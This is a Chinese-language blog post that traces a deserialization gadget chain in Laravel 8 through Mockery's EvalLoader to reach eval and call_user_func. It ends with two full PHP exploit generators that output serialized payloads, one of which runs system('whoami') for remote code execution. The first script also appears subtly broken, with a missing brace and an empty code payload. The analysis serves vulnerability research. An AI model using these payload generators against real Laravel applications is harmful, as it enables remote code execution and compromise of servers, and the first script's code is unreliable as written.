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Laravel 8 反序列化分析

Laravel 8 反序列化分析

作者: 蚁景科技 | 来源:发表于2021-03-16 16:20 被阅读0次

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    laravel的版本已经到了8;这里分析一个laravel8的反序列化漏洞,但是让我感到意外的是,这个漏洞竟然在低版本的laravel上依然可以存在,从根本来说这个漏洞是laravel的mockery组件漏洞,没想到一直没修;

    本文涉及知识点实操练习:Fastjson反序列化漏洞 (Fastjson是阿里巴巴公司开源的一款json解析器,在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。)

    text

    首先还是老样子,熟悉laravel的pop链的师傅肯定比较熟悉,入口点还是PendingBroadcast.php中的析构函数;

    public function __destruct()

    {

       $this->events->dispatch($this->event);

    }

    这里很明显可以控制任意类下的dispatch函数;这里还是选择Dispatcher.php进行续链;

    public function dispatch($command)

    {

       return $this->queueResolver && $this->commandShouldBeQueued($command)

                       ? $this->dispatchToQueue($command)

                       : $this->dispatchNow($command);

    }

    这里简单的看下源码,感兴趣的师傅可以拿着laravel5的源码来进行对比,这里只不过是写成了三元运算的形式,本质上还是一样的,我们控制queueResolver变量和commandShouldBeQueued函数,使其返回为真,这样就可进入dispatchToQueue函数;这里审计下类不难发现queueResolver是我们可控的变量,然而commandShouldBeQueued函数我们可以追溯一下;

    protected function commandShouldBeQueued($command)

    {

       return $command instanceof ShouldQueue;

    }

    这里不难发现,是需要我们的command是继承ShouldQueue接口的类就可;所以全局搜索;选择BroadcastEvent.php的类;然后便可返回true,然后进入dispatchToQueue函数;回溯一下dispatchToQueue函数;

    public function dispatchToQueue($command)

       {

           $connection = $command->connection ?? null;

           $queue = call_user_func($this->queueResolver, $connection);

    可以发现这里有个危险函数call_user_func;可以直接实现任意类下的任意方法;这里就可直接跳转到我们想要执行的方法下;全局搜索一下eval方法;发现存在;

    class EvalLoader implements Loader

    {

       public function load(MockDefinition $definition)

       {

           if (class_exists($definition->getClassName(), false)) {

               return;

           }

           eval("?>" . $definition->getCode());

       }

    }

    call_user_func函数在第一个参数为数组的时候,第一个参数就是我们选择的类,第二个参数是类下的方法;所以这里直接去到EvalLoader类,去执行load方法从而调用到eval函数;这里发现存在参数,而且参数必须是MockDefinition类的实例;也即是意味着我们connection需要为MockDefinition类的实例;

    继续审计发现,必须if为false才会触发eval方法;所以这里我们需要直接追溯到MockDefinition类中;

    class MockDefinition

    {

       protected $config;

       protected $code;

       public function __construct(MockConfiguration $config, $code)

       {

           if (!$config->getName()) {

               throw new \InvalidArgumentException("MockConfiguration must contain a name");

           }

           $this->config = $config;

           $this->code = $code;

       }

       public function getConfig()

       {

           return $this->config;

       }

       public function getClassName()

       {

           return $this->config->getName();

       }

       public function getCode()

       {

           return $this->code;

       }

    }

    看下getClassName函数;这里的config是可控的,所以我们直接找到一个存在getName方法并且可控该方法的类;全局搜索下找到MockConfiguration.php可以实现;

       protected $name;

       public function getName()

       {

           return $this->name;

       }

    因为最后是要经过class_exit函数的判断的,所以我们可以直接控制其返回一个不存在的类,就会造成false从而进入eval方法;继续回到eval方法;

    class EvalLoader implements Loader

    {

       public function load(MockDefinition $definition)

       {

           if (class_exists($definition->getClassName(), false)) {

               return;

           }

           eval("?>" . $definition->getCode());

       }

    }

    这里还有个getCode方法,我们通过上面的类也可审计getCode方法;code在MockDefinition类中也是可控的,所以我们可以随意的控制其内容,那么我们就可命令执行;放出我exp:

    <?php

    namespace Illuminate\Broadcasting{

    use Illuminate\Contracts\Events\Dispatcher;

    class PendingBroadcast

    {

        protected $event;

        protected $events;

       public function __construct($events, $event)

       {

           $this->event = $event;

           $this->events = $events;

       }

    }

    }

    namespace Illuminate\Bus{

    class Dispatcher

    {

        protected $queueResolver;

       public function __construct($queueResolver)

       {

           $this->queueResolver = $queueResolver;

       }

    }

    }

    namespace Illuminate\Broadcasting{

    class BroadcastEvent

    {

        public $connection;

        public function __construct($connection)

       {

           $this->connection = $connection;

       }

            }

    }

    namespace Mockery\Loader{

    use Mockery\Generator\MockDefinition;

    class EvalLoader

    {

        public function load(MockDefinition $definition)

       {}

    }

    }

    namespace Mockery\Generator{

    class MockConfiguration

    protected $name;

        public function __construct($name){

        $this->name = $name;

    }

    }

    }

    namespace Mockery\Generator{

    class MockDefinition

    {

        protected $config;

        protected $code;

        public function __construct($config,$code)

       {

        $this->config = $config;

        $this->code = $code;

       }

    }

    }

    namespace{

        $e = new Mockery\Generator\MockConfiguration('s1mple');

        $d = new Mockery\Loader\EvalLoader();

        $f = new Mockery\Generator\MockDefinition($e,'');

        $c = new Illuminate\Broadcasting\BroadcastEvent($f);

        $a = new Illuminate\Bus\Dispatcher(array($d,"load"));

        $b = new Illuminate\Broadcasting\PendingBroadcast($a,$c);

        echo urlencode(serialize($b));

    }

    这里为了节省时间,我最后用abcdef直接代替了,造成rce;

    细心的师傅想必也发现了;在最开始的call_user_func处,也是可以进行命令执行的;

    public function dispatchToQueue($command)

       {

           $connection = $command->connection ?? null;

           $queue = call_user_func($this->queueResolver, $connection);

    这里可以直接控制进行命令执行;这个很简单,就直接放出我exp吧;

    <?php

    namespace Illuminate\Broadcasting{

    use Illuminate\Contracts\Events\Dispatcher;

    class PendingBroadcast

    {

        protected $event;

        protected $events;

       public function __construct($events, $event)

       {

           $this->event = $event;

           $this->events = $events;

       }

    }

    }

    namespace Illuminate\Bus{

    class Dispatcher

    {

        protected $queueResolver;

       public function __construct($queueResolver)

       {

           $this->queueResolver = $queueResolver;

       }

    }

    }

    namespace Illuminate\Broadcasting{

    class BroadcastEvent

    {

        public $connection;

        public function __construct($connection)

       {

           $this->connection = $connection;

       }

            }

    }

    namespace{

        $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');

        $a = new Illuminate\Bus\Dispatcher('system');

        $b = new Illuminate\Broadcasting\PendingBroadcast($a,$c);

        echo urlencode(serialize($b));

    }

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